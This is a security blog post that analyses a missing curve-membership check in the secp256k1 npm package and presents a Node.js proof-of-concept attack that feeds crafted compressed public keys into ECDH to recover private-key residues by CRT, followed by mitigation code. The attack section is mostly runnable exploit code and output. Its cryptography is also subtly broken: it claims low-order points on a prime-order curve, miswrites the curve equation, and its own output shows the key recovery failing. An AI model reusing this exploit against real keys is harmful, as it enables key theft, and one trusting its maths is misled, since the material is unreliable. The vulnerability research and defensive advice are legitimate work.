• Hacken
  • Blog
  • Insights
  • Securing ECDH in Secp256k1: Mitigating Small Subgroup Attacks with Proper Public Key Validation

Securing ECDH in Secp256k1: Mitigating Small Subgroup Attacks with Proper Public Key Validation

25 minutes

Understanding Elliptic Curve Cryptography (ECC)

Elliptic Curve Cryptography, commonly known as ECC, is a method for encrypting data to secure digital communications. It’s a form of “asymmetric cryptography,” which means it uses two different keys: a public key that anyone can see and a private key that must be kept secret.

What Makes ECC Special?

At its core, ECC is based on mathematical shapes called elliptic curves plotted over finite fields (also known as Galois fields). The mathematics behind these curves allows for complex calculations that are easy to perform in one direction but extremely hard to reverse without the private key. This one-way feature is what provides strong security.

Why Is ECC Important?

One of the main advantages of ECC is that it offers strong security with smaller keys. In cryptography, a key’s size (measured in bits) relates to how secure it is. Here’s how ECC compares to RSA:

  • ECC: A 256-bit key provides a high level of security.
  • RSA: To achieve the same security level, RSA would need a 3,072-bit key.

Smaller keys mean faster processing and less storage space required, which is particularly beneficial for devices with limited resources.

Main Uses of ECC

While ECC can be used for encryption, it’s most commonly employed in two critical areas:

  1. ECDH (Elliptic Curve Diffie-Hellman) for Secure Key Exchange
    • What It Is: ECDH is a method for creating a shared secret key between two parties over an insecure channel.
    • Why It’s Important: This shared key can then be used to encrypt communications, ensuring that even if someone is eavesdropping, they cannot decipher the messages without solving a very difficult mathematical problem.
    • Real-World Example: When you connect to a secure website, your browser and the website use ECDH to agree on a secret key for that session.
  1. ECDSA (Elliptic Curve Digital Signature Algorithm) for Digital Signatures
    • What It Is: ECDSA is used to create digital signatures that verify the authenticity and integrity of a message or document.
    • Why It’s Important: It ensures that the message was sent by the legitimate sender and hasn’t been altered.
    • Real-World Example: Software updates are often signed with ECDSA to prove they come from the official source and haven’t been tampered with. Read more about ECDSA in our previous blog post. 

Benefits of Smaller Keys

  • Efficiency: Smaller keys allow devices to encrypt and decrypt data faster, saving time and computational resources.
  • Less Storage and Bandwidth: They take up less space and require less data to be transmitted, which is crucial for systems with limited capacity.
  • Ideal for Modern Devices: Perfect for smartphones, tablets, and Internet of Things (IoT) devices that may not have powerful processors.

Where Is ECC Used?

ECC is increasingly popular in various applications that require secure communications:

  • Secure Web Browsing: Websites use ECC to establish encrypted connections (look for “https” in the URL).
  • Cryptocurrencies: Digital currencies use ECC for securing transactions and wallets.
  • Mobile Communications: Secure messaging apps and mobile payment systems rely on ECC for encryption and authentication.
  • IoT Devices: ECC secures data transmission in smart home devices, wearables, and other connected gadgets.

Analysis of a Vulnerability in the secp256k1 npm Package

A critical vulnerability was identified in the secp256k1 npm package, which allows an attacker to extract private keys through Elliptic Curve Diffie-Hellman (ECDH) exchanges. In this section, we’ll provide an in-depth analysis of the vulnerability, explaining every detail comprehensively.

Before we deep dive into the vulnerability, let’s dabble a little bit to understand how ECC works

Elliptic Curve over Finite Field

An elliptic curve over a finite field FP (where 𝑝 is a prime number) is defined by an equation of the form:

y2= x3 + а𝓍 +b mod p

Where:

  • а and b are the coefficients that define the curve. 
  • p is a prime number that specifies the size of the finite field.

The curve must satisfy the condition 4a3 + 27b2 0 mod p to ensure that it does not have repeated roots, making it non-singular. 

Point on the curve forms a finite group under a defined addition operation. This group structure is the foundation of ECC. 

The secp256k1 Curve

The secp256k1 curve is defined by the equation:

y2= x2 + 7 mod p

Where p = 2256-977. This curve is notable for its use in cryptocurrencies due to its efficiency and security properties. 

Key Parameters:

  • Generator Point (G): A predefined point on the curve used to generate public and private keys. It has a large prime order n .
  • Order (n ): The number of points on the curve, which is a prime number for secp256k1. This ensures a high level of security.

Elliptic Curve Diffie-Hellman (ECDH)

ECDH is a method that allows two parties to establish a shared secret over an insecure channel without revealing their private keys. Here’s how it works:

Key Generation:

  • Party A:
    • Private Key (dA): A random integer between 1 and n - 1.
    • Public Key(QA): Calculated as QA=da.G.
  • Party B:
    • Private Key  (dB): A random integer between 1 and n - 1.
    • Public Key(QB): Calculated as QB=dB.G.

Key Exchange:

  • Party A computes the shared secret S=dA.QB
  • Party B computes the shared secret S=dB.QA

Since dA.QB =  dA.(dB.G) = dB.(dA.G) = dB.QA, both parties derive the same shared secret. 

Importance of Public Key Validation 

Validating the received public keys is crucial to prevent attacks:

  • Ensuring the Point Lies on the Curve: The point must satisfy the curve equation.
  • Checking Point Order: The point order should be large enough to prevent small subgroup attacks.
  • Avoiding Invalid Points: Invalid points can lead to predictable shared secrets and leaking information about the private key.

The Vulnerability in secp256k1 npm Package – loadCompressedPublicKey Function

In this analysis, we examine a critical vulnerability within the secp256k1 npm package, commonly used in JavaScript implementations for elliptic curve cryptography, particularly for the Bitcoin curve (secp256k1). This vulnerability exists in the loadCompressedPublicKey function due to limited validation, specifically when handling compressed keys. This function lacks the comprehensive security checks found in loadUncompressedPublicKey, leading to the following issues:

  1. Overflow Check Only on x: The function verifies that x is less than ecparams.p, but does not perform an overflow check on y, allowing potentially invalid values.
  2. Lack of Curve Membership Verification: Although the function computes the y coordinate based on x, it does not confirm that the resulting (x, y) pair lies on the elliptic curve. This leaves the function open to accepting invalid points that do not satisfy the curve equation.
  3. Missing Parity Check for y: Unlike loadUncompressedPublicKey, which uses the first parameter to verify the y parity, loadCompressedPublicKey omits this check, weakening the integrity of the point validation.

Due to these omissions, loadCompressedPublicKey can mistakenly process points that are not true elliptic curve points, exposing the system to small subgroup attacks where low-order or invalid points could reveal information about private keys.

Root Cause Analysis

The vulnerability arises due to inadequate validation of compressed public keys in the secp256k1 package, particularly within its implementation in elliptic.js. Here’s a breakdown of the root cause and why it compromises security:

1. Key Functions Involved

  • loadUncompressedPublicKey Function:
    • Purpose: This function is responsible for loading and validating uncompressed public keys.
    • Validation Check: The loadUncompressedPublicKey function provides a more secure approach to handling uncompressed keys through multiple validation checks. These include:
      • Overflow Check on x and y: Both coordinates must be less than ecparams.p, ensuring they fall within the elliptic curve’s finite field.
      • Curve Membership Verification: It confirms that the (x, y) pair satisfies the elliptic curve equation, preventing the use of non-curve points.
      • Parity Check on y: By using the first parameter, it verifies that y has the expected parity, adding an additional security layer.
    • These validations prevent low-order or otherwise invalid points from entering ECDH operations, securing the cryptographic process.
  • loadCompressedPublicKey Function:
    • Purpose: This function handles loading and processing compressed public keys.
    • Lack of Validation: Here lies the root cause of the vulnerability. Unlike the loadUncompressedPublicKeyfunction, loadCompressedPublicKey does not include a validation check to verify if the point is actually on the curve.
    • Impact: This function does not confirm that the calculated y-coordinate corresponds to a valid point on the elliptic curve, potentially allowing attackers to introduce invalid public keys.

Affected Function: loadCompressedPublicKey Function 

function loadCompressedPublicKey (first, xbuf) {
  let x = new BN(xbuf)

  // overflow
  if (x.cmp(ecparams.p) >= 0) return null
  x = x.toRed(ecparams.red)

  // compute corresponding Y
  let y = x.redSqr().redIMul(x).redIAdd(ecparams.b).redSqrt()
  if ((first === 0x03) !== y.isOdd()) y = y.redNeg()

  return ec.keyPair({ pub: { x: x, y: y } })
}

Issues in the Function

  1. Lack of Point Validation:
    • This function calculates the y coordinate based on the provided x coordinate but does not check if the resulting point (x, y)actually lies on the elliptic curve. In elliptic curve cryptography, any point used in operations must satisfy the curve equation y2= x3 + а𝓍 +b mod p.
    • If a point does not satisfy this equation, it should not be used for cryptographic operations, as it may lead to vulnerabilities, such as unauthorized access or data manipulation.
  2. Potential for Invalid Points:
    • By failing to confirm the validity of (x, y) is on the curve, loadCompressedPublicKey may inadvertently allow invalid points to enter the cryptographic system. This can open up security vulnerabilities, especially if these invalid points are used in sensitive operations like key exchanges or digital signatures. Attackers can exploit low-order or specially crafted points to extract private key information.

Detailed Explanation of the Attack

1. Exploiting Invalid Curve Points

Due to the missing validation check in the secp256k1 package, an attacker can provide public keys that are not valid points on the intended elliptic curve. This creates two main types of threats:

  • Invalid Public Key: This is a point Q that does not actually lie on the intended elliptic curve but is accepted by the system. Without proper validation, these points are used in cryptographic operations, making the system vulnerable.
  • Low-Order Point: A point on the curve where the smallest positive integer k (such that kQ = O , where O is the point at infinity) is small. A low-order point limits the number of distinct results for operations involving this point, making it easier to extract information.

2. Low-Order Points and Small Subgroup Attacks

In Elliptic Curve Diffie-Hellman (ECDH), when a low-order point is used, it introduces the following vulnerabilities:

  • Reduced Shared Secret Range: The shared secret S = d.Q can only take on a limited number of values because the private key d is effectively reduced modulo the order of the low-order point.
  • Leakage Through Repeated Exchanges: By repeatedly using different low-order points, an attacker can gather information about the private key, allowing them to narrow down its value incrementally.

This attack is known as a small subgroup attack and can be used to extract private key bits over time by exploiting the limited result set of low-order points.

3. Private Key Leakage over Multiple ECDH Sessions

Through multiple ECDH exchanges using carefully selected low-order points, an attacker can systematically extract parts of the private key. The process typically involves:

  1. Collect Multiple Shared Secrets: Each session yields a shared secret, which has a different modulus based on the order of the low-order point used.
  2. Apply the Chinese Remainder Theorem (CRT): The CRT is used to combine these shared secrets, which have been reduced modulo small orders, to reconstruct the private key modulo a much larger number (the product of these orders).
  3. Recover the Private Key: Once the combined modulus is large enough to exceed the bit size of the private key (e.g., 256 bits for secp256k1), the attacker can uniquely determine the private key.

Step-by-Step Proof of Concept (PoC) for Exploiting the secp256k1 ECDH Vulnerability

  1. Initialize Parameters and Small-Order Points
    • Load Curve Parameters: Define the prime modulus P and the order N of the secp256k1 curve.
    • Identify Small-Order Points: Predefine small-order points with known orders (e.g., orders 5, 7, 11, etc.). These points are chosen carefully, as their known orders will help in reconstructing the private key using the Chinese Remainder Theorem (CRT).
  2. Point Validation
    • Ensure Points Are on the Curve: Verify that each small-order point lies on the curve. This is essential because if any point does not lie on the curve, it cannot be used in elliptic curve operations.
    • Filter Out Invalid Points: Some points may fail validation due to errors in their coordinates. Remove these points to ensure only valid points are used, even if it reduces the number of residues available for the attack.
  3. Residue Collection
    • Execute ECDH Exchanges: For each valid small-order point, perform an ECDH key exchange between the attacker’s malicious public key and the victim’s private key.
    • Collect Residues: For each exchange, compute the shared secret, then reduce it modulo the small-order point’s order. This provides a residue that leaks partial information about the victim’s private key.

Prerequisites

  • Node.js and npm installed.
  • Basic Knowledge of JavaScript and cryptography.
  • Affected Version: secp256k1 package version 3.8.0.

Step 1: Setting Up the Environment

1.1 Initialize a New Node.js Project

mkdir secp256k1-poc
cd secp256k1-poc
npm init -y
npm install secp256k1@3.8.0 bigint-crypto-utils bn.js

This setup initializes a Node.js project and installs the vulnerable version of secp256k1, along with dependencies for big integer calculations (bigint-crypto-utils and bn.js).

File-by-File Analysis

1. constants.js

Purpose: Defines parameters for the secp256k1 curve and precomputed small-order points.

const BN = require('bn.js');

// Curve Parameters
const P = new BN('FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFC2F', 16);
const N = new BN('FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141', 16);

// Expanded list of small-order points with unique orders
const SMALL_ORDER_POINTS = [
    { x: '0000000000000000000000000000000000000000000000000000000000000001', order: 7, name: 'P7' },
    { x: '7ae96a2b657c07106e64479eac3434e99cf0497512f58995c1396c28719501ee', order: 5, name: 'P5' },
    { x: '5f5e100000000000000000000000000000000000000000000000000000000000', order: 11, name: 'P11' },
    { x: '6b4c6a2c421390209cdd7538a8d111d01394c90f586ddc5b036ba309fb31c03c', order: 13, name: 'P13' },
    { x: '8b4f536963304ba8c2c108f5d6b4c6a2c421390209cdd7538a8d111d01394c90', order: 17, name: 'P17' },
    // Additional points can be added here if available, increasing the orders and improving attack success
];

module.exports = {
    P,
    N,
    SMALL_ORDER_POINTS
};
  • P and N: Define the prime modulus and order of the secp256k1 curve.
  • SMALL_ORDER_POINTS: Contains low-order points with known orders to create predictable ECDH outcomes.

2. point-generation.js

Purpose: Provides functions to calculate the y-coordinate for a given x-coordinate and check if a point is on the curve.

const BN = require('bn.js');

function calculateY(x, P) {
    if (!x) throw new Error("Invalid input: x is undefined");

    const xBN = new BN(x, 16);

    // Calculate x^3 + 7 mod P
    const x3 = xBN.pow(new BN(3)).add(new BN(7)).mod(P);

    try {
        let y1 = x3.toRed(BN.red(P)).redSqrt().fromRed();
        let y2 = y1.neg().mod(P);

        // Return the even y by default
        return y1.isEven() ? y1 : y2;
    } catch (error) {
        console.error(`Failed to calculate y for x = ${x}:`, error);
        return null;
    }
}

function isPointOnCurve(xHex, P) {
    if (!xHex) throw new Error("Invalid input: xHex is undefined");

    try {
        const xBN = new BN(xHex, 16);
        const yBN = calculateY(xHex, P);

        if (!yBN) return false;

        const left = yBN.pow(new BN(2)).mod(P);
        const right = xBN.pow(new BN(3)).add(new BN(7)).mod(P);

        return left.eq(right);
    } catch (error) {
        console.error(`Error validating point on curve for x = ${xHex}:`, error);
        return false;
    }
}

module.exports = {
    calculateY,
    isPointOnCurve
};
  • calculateY: Computes the y-coordinate for a given x-coordinate on the secp256k1 curve.
  • isPointOnCurve: Validates if a given point (x, y) is on the curve.

3. crt.js

Purpose: Uses the Chinese Remainder Theorem (CRT) to combine residues and reconstruct the private key.

const BN = require('bn.js');

function modInverse(a, m) {
    let [old_r, r] = [a, m];
    let [old_s, s] = [new BN(1), new BN(0)];
    let [old_t, t] = [new BN(0), new BN(1)];

    while (!r.isZero()) {
        const quotient = old_r.div(r);
        [old_r, r] = [r, old_r.sub(quotient.mul(r))];
        [old_s, s] = [s, old_s.sub(quotient.mul(s))];
        [old_t, t] = [t, old_t.sub(quotient.mul(t))];
    }

    return old_s.mod(m);
}

function chineseRemainderTheorem(residues, moduli) {
    if (residues.length !== moduli.length) {
        throw new Error('Number of residues must match number of moduli');
    }

    const product = moduli.reduce((a, b) => a.mul(b), new BN(1));
    let sum = new BN(0);

    for (let i = 0; i < residues.length; i++) {
        const p = product.div(moduli[i]);
        const inverse = modInverse(p, moduli[i]);
        sum = sum.add(residues[i].mul(p).mul(inverse));
    }

    return sum.mod(product);
}

module.exports = {
    chineseRemainderTheorem,
    modInverse
};
  • modInverse: Computes the modular inverse, essential for CRT.
  • chineseRemainderTheorem: Combines residues to reconstruct the private key modulo the product of the small orders.

4. ecdh-attack.js

Purpose: Implements the main attack logic by simulating ECDH exchanges using malicious public keys.

const secp256k1 = require('secp256k1');
const crypto = require('crypto');
const BN = require('bn.js');
const { SMALL_ORDER_POINTS, P, N } = require('./constants');
const { chineseRemainderTheorem } = require('./crt');
const { calculateY, isPointOnCurve } = require('./point-generation');

class ECDHAttack {
    constructor() {
        this.victimPrivateKey = crypto.randomBytes(32);
        this.victimPublicKey = secp256k1.publicKeyCreate(this.victimPrivateKey);
        this.originalPrivateKeyBN = new BN(this.victimPrivateKey);
    }

    generateMaliciousPublicKey(xHex) {
        const xBuffer = Buffer.from(xHex, 'hex');
        const yBuffer = calculateY(xHex, P);

        if (!yBuffer) throw new Error(`Cannot generate malicious key: Invalid y for x = ${xHex}`);

        const prefix = yBuffer.isEven() ? Buffer.from([0x02]) : Buffer.from([0x03]);
        return Buffer.concat([prefix, xBuffer]);
    }

    extractResidue(sharedSecret, order) {
        const secretBN = new BN(sharedSecret, 16);
        return secretBN.mod(new BN(order));
    }

    async performAttack() {
        const results = [];
        
        console.log('\nCollecting ECDH results with small-order points...');

        const validPoints = SMALL_ORDER_POINTS.filter(point => isPointOnCurve(point.x, P));

        for (const point of validPoints) {
            try {
                const maliciousPubKey = this.generateMaliciousPublicKey(point.x);
                const sharedSecret = secp256k1.ecdh(maliciousPubKey, this.victimPrivateKey);
                const residue = this.extractResidue(sharedSecret.toString('hex'), point.order);
                
                results.push({
                    name: point.name,
                    point: point.x,
                    order: point.order,
                    secret: sharedSecret.toString('hex'),
                    residue: residue
                });
                
                console.log(`Collected result for ${point.name} (order ${point.order})`);
            } catch (error) {
                console.error(`Failed for point ${point.name}: ${error.message}`);
            }
        }

        return results;
    }

    recoverPrivateKey(results) {
        const residues = results.map(r => r.residue);
        const moduli = results.map(r => new BN(r.order));
        const combinedModulus = moduli.reduce((a, b) => a.mul(b), new BN(1));
        const recoveredPartial = chineseRemainderTheorem(residues, moduli);

        return {
            partial: recoveredPartial,
            modulus: combinedModulus
        };
    }

    verifyRecovery(recovered, modulus) {
        const originalMod = this.originalPrivateKeyBN.mod(modulus);
        const recoveredMod = recovered.mod(modulus);
        return {
            success: originalMod.eq(recoveredMod),
            expectedMod: originalMod,
            recoveredMod: recoveredMod
        };
    }

    analyzeResults(results) {
        console.log('\nAttack Results Analysis:');
        
        results.forEach(result => {
            console.log(`\n${result.name} (order ${result.order}):`);
            console.log(`Shared secret: ${result.secret}`);
            console.log(`Private key ≡ ${result.residue.toString(16)} (mod ${result.order})`);
        });
        
        const recovery = this.recoverPrivateKey(results);
        
        console.log('\nKey Recovery Results:');
        console.log(`Combined modulus: ${recovery.modulus.toString()}`);
        console.log(`Recovered value: ${recovery.partial.toString(16)}`);
        
        const verification = this.verifyRecovery(recovery.partial, recovery.modulus);
        
        console.log('\nVerification:');
        console.log(`Recovery successful: ${verification.success}`);
        console.log(`Expected mod: ${verification.expectedMod.toString(16)}`);
        console.log(`Recovered mod: ${verification.recoveredMod.toString(16)}`);
        
        console.log('\nActual victim private key:');
        console.log(this.victimPrivateKey.toString('hex'));
        
        return {
            recovery,
            verification
        };
    }
}

// Run the demonstration
async function runDemo() {
    console.log('Starting Enhanced ECDH vulnerability demonstration...\n');
    
    const attack = new ECDHAttack();
    const results = await attack.performAttack();
    const analysis = attack.analyzeResults(results);
    
    const recoveryBits = analysis.recovery.modulus.bitLength();
    const percentComplete = (recoveryBits / 256 * 100).toFixed(2);
    
    console.log(`\nRecovery Progress:`);
    console.log(`Recovered ${recoveryBits} bits of 256 (${percentComplete}%)`);
}

runDemo().catch(console.error);

Main Functions in the ecdh-attack.js

  1. generateMaliciousPublicKey
    Purpose: This function generates malicious public keys with specific small orders to exploit the vulnerability in ECDH key exchanges.
    How It Works:
    • It takes an x-coordinate (hex value) of a small-order point as input.
    • It calculates the corresponding y-coordinate based on the elliptic curve equation, ensuring the y-coordinate is even. This even y ensures that the public key is compressed (i.e., stored in a shorter format where only the x-coordinate and a prefix for y parity are used).
    • The function then returns a malicious public key in compressed format.
generateMaliciousPublicKey(xHex) {
    const xBuffer = Buffer.from(xHex, 'hex');
    const yBuffer = calculateY(xHex, P); // Calculate y-coordinate based on x
    const prefix = yBuffer.isEven() ? Buffer.from([0x02]) : Buffer.from([0x03]);
    return Buffer.concat([prefix, xBuffer]); // Combine prefix and x for compressed key
}

2. performAttack

Purpose: This function executes ECDH exchanges using each malicious small-order point and collects residues that leak information about the private key.

How It Works:

  • It iterates over each small-order point defined in SMALL_ORDER_POINTS.
  • For each point, it generates a malicious public key using generateMaliciousPublicKey.
  • It then performs an ECDH exchange with the victim’s private key using the malicious public key.
  • After computing the shared secret, it extracts the residue (the shared secret modulo the order of the small-order point), which contains partial information about the victim’s private key.
  • Finally, it stores each residue and its associated order for further analysis.
async performAttack() {
    const results = [];
    for (const point of SMALL_ORDER_POINTS) {
        const maliciousPubKey = this.generateMaliciousPublicKey(point.x);
        const sharedSecret = secp256k1.ecdh(maliciousPubKey, this.victimPrivateKey);
        const residue = new BN(sharedSecret.toString('hex'), 16).mod(new BN(point.order));
        results.push({ point, residue });
    }
    return results;
}

3. analyzeResults

Purpose: Combines the collected residues using the Chinese Remainder Theorem (CRT) and compares the result with the actual private key. This is the final step in reconstructing the private key modulo the product of all the small orders.

How It Works:

  • It extracts the residues and their corresponding small orders from the results generated by performAttack.
  • It then applies the CRT on these residues and orders using chineseRemainderTheorem, obtaining a partial reconstruction of the private key.
  • The function then prints this reconstructed value and compares it against the actual private key (or a portion of it) to evaluate how much of the key was recovered.
analyzeResults(results) {
    const residues = results.map(r => r.residue);
    const moduli = results.map(r => new BN(r.point.order));
    const recoveredPartial = chineseRemainderTheorem(residues, moduli);
    console.log(`Recovered partial: ${recoveredPartial.toString(16)}`);
    console.log(`Actual private key modulus: ${this.originalPrivateKeyBN.mod(moduli.reduce((a, b) => a.mul(b)))}`);
}

Output from PoC Execution

When we ran our PoC with node ecdh-attack.js, we received the following output:

Starting Enhanced ECDH vulnerability demonstration...
Collecting ECDH results with small-order points...
Collected result for P7 (order 7)
Collected result for P5 (order 5)
Collected result for P17 (order 17)

Attack Results Analysis:
P7 (order 7):
  Shared secret: 2b8e9818e6d58d3cc6d69021d7562c052e5188d6477686781cbe0b0c7a113ece
  Private key ≡ 5 (mod 7)
P5 (order 5):
  Shared secret: 87d1343bf403b53d29bca20267e8ade7c37011ce0b912a5c1b1ffc5847a7397a
  Private key ≡ 1 (mod 5)
P17 (order 17):
  Shared secret: 11cb5d98a2d1a8370ee0c944e107554cf389f7c859bbdb7aa722901fdd952aef
  Private key ≡ a (mod 17)

This shows the collected residues for each small-order point:

  • P7 (order 7): Private key ≡ 5 (mod 7)
  • P5 (order 5): Private key ≡ 1 (mod 5)
  • P17 (order 17): Private key ≡ a (mod 17)

Apply CRT to Combine Residues

  • Combine Residues Using CRT: Use the residues collected from each ECDH exchange and apply the Chinese Remainder Theorem (CRT) to attempt to reconstruct the private key modulo the product of the small orders.
  • Partial Key Reconstruction: If the product of the small orders is large enough, you can reconstruct a portion of the private key. With sufficient small orders, it’s theoretically possible to recover the entire private key.

Key Recovery Results:

Key Recovery Results:
Combined modulus: 595
Recovered value: 3d

Verification:
Recovery successful: false
Expected mod: 5c
Recovered mod: 3d

Actual victim private key:
93ff229d83be7f9b02c5cea5925cf34974980849b1e7ebbaceda9ad6ba41d9b3

Recovery Progress:
Recovered 10 bits of 256 (3.91%)
  • Combined Modulus: The product of the small orders is 595, insufficient for the 256-bit key.
  • Partial Key Recovery: The CRT reconstruction partially recovered 10 bits (3.91%) of the private key.

Information Leakage Through ECDH

  • Per Exchange Leak: Each ECDH exchange with a small-order point reveals a residue of the private key modulo the point’s small order.
  • Combining Leaks: Multiple residues increase the combined modulus. Once it exceeds the key size (256 bits), the private key can be fully reconstructed.
  • Chinese Remainder Theorem (CRT): Combines residues to reconstruct the private key modulo the product of the small orders.

Observations and Practical Challenges Faced

  1. Point Validation Issues: Ensuring all small-order points lie on the curve was challenging. Proper validation is essential to avoid errors in CRT.
  2. Limited Combined Modulus: In this PoC, the combined modulus reached only 595, far below the 256-bit key length required for full recovery.
  3. Partial Key Recovery: The PoC demonstrated partial recovery, revealing 10 bits of the 256-bit key.

Mitigation Strategies for Securing secp256k1 ECDH Against Small Subgroup Attacks

To protect against the vulnerabilities demonstrated in this PoC, it’s essential to strengthen public key validation and ensure that low-order points (which could reveal private information) are not accepted in ECDH exchanges. Here’s a breakdown of effective mitigation strategies:

1. Proper Validation of Public Keys

One of the main issues in this vulnerability is the failure to properly validate public keys. Without this validation, an attacker could send “malicious” public keys that do not actually lie on the intended elliptic curve. Here’s how to implement strong validation:

Check if the Point Lies on the Curve

For a point to be valid in secp256k1, it must satisfy the curve equation: y2= x3 + 7  mod p. where p is the prime number that defines the field.

Using JavaScript, this can be done with the following function:

function isPointOnCurve(x, y) {
    const P = constants.P; // Prime modulus of the curve
    const left = y.pow(new BN(2)).mod(P);  // y^2 mod P
    const right = x.pow(new BN(3)).add(new BN(7)).mod(P);  // x^3 + 7 mod P
    return left.eq(right);
}
  • This function takes an x and y coordinate, computes y2= x3 + 7  mod p, and checks if they are equal. If they are, the point lies on the curve and is valid.

Check the Order of the Point

In addition to lying on the curve, the point must have a sufficiently large order to ensure security.

  • Ensure Point is a Multiple of the Generator Point (G): This means that the point is part of the intended group used in secp256k1.
  • Avoid Low-Order Points: Low-order points reveal predictable results in ECDH and make it easier to reconstruct the private key.

2. Integrating Validation into ECDH Operations

Integrate these validation checks into the ECDH exchange itself to ensure that only valid public keys are accepted.

function safeECDH(publicKey, privateKey) {
    // First, check if the public key format is valid
    if (!secp256k1.publicKeyVerify(publicKey)) {
        throw new Error('Invalid public key format');
    }

    // Convert the public key to its x and y coordinates
    const { x, y } = secp256k1.publicKeyConvert(publicKey, false);
    const xBN = new BN(x.slice(1, 33));
    const yBN = new BN(y.slice(33));

    // Check if the point is on the curve
    if (!isPointOnCurve(xBN, yBN)) {
        throw new Error('Public key is not on the curve');
    }

    // Perform ECDH with a validated public key
    return secp256k1.ecdh(publicKey, privateKey);
}

This safeECDH function verifies the public key format and ensures that the public key point lies on the curve before performing the ECDH exchange. If any validation step fails, the exchange is aborted to prevent data leakage.

3. Update the secp256k1 Package

The vulnerability discussed here has been addressed in newer versions of the secp256k1 package, which now include proper public key validation. Updating the package can protect your application against similar vulnerabilities.

How to Update: Install the Latest Version:

npm install secp256k1@latest

Benefits of Updating:

  • Enhanced Security: The latest version includes patches for public key validation.
  • Reduced Risk: Updating reduces the chances of similar vulnerabilities in the future.

Security Insights and Key Takeaways

This vulnerability highlights several important principles in cryptographic security. Here’s what you need to understand:

  1. Importance of Public Key Validation:
    • This vulnerability shows the risks of accepting unvalidated public keys in cryptographic protocols. Ensuring that each public key lies on the intended curve and has a valid order is critical to preventing attacks.
  2. Understanding Small-Order Points:
    • Small-order points can reveal private key information if they are accepted in ECDH exchanges. In ECC, small-order points have a predictable structure, and repeated exchanges with such points can incrementally leak the private key. Knowing this helps developers avoid implementing cryptographic protocols vulnerable to subgroup attacks.
  3. Role of the Chinese Remainder Theorem (CRT) in Attacks:
    • CRT can be used to combine partial information (residues) about a private key obtained from low-order points, eventually recovering the full key. Understanding CRT’s role in cryptography can help you recognize vulnerabilities that attackers might exploit.

Follow @hackenclub on 𝕏 (Twitter)

Conclusion and Essential Lessons Learned

The secp256k1 ECDH vulnerability reminds us how crucial input validation is in cryptographic applications. Attackers can exploit missing validation to perform small subgroup attacks that could eventually compromise private keys. Although this PoC only achieved partial success, it illustrates the potential for small-order points and CRT to incrementally reveal private key information.

Key Lessons for Security

  • Validate All Inputs: Always validate external data rigorously, especially in cryptographic protocols where any untrusted input can lead to serious security risks.
  • Understand Cryptographic Fundamentals: Having a foundational knowledge of cryptographic principles, like elliptic curves and CRT, helps identify potential weaknesses and implement secure systems.
  • Regularly Update Dependencies: Keeping dependencies up-to-date ensures that you benefit from the latest security patches and improvements.
  • Implement Defense-in-Depth: Use multiple layers of validation and security checks to protect against both known and unknown vulnerabilities.

By applying these principles, developers and organizations can enhance the security of their applications and protect against sophisticated attacks targeting cryptographic protocols.

Further Reading and References

By following these best practices, developers can better protect their applications against potential cryptographic vulnerabilities and ensure robust security for users.

Subscribe
to our newsletter

Be the first to receive our latest company updates, Web3 security insights, and exclusive content curated for the blockchain enthusiasts.

Speaker Img

Table of contents

Tell us about your project

Follow Us

Read next:

More related

Trusted Web3 Security Partner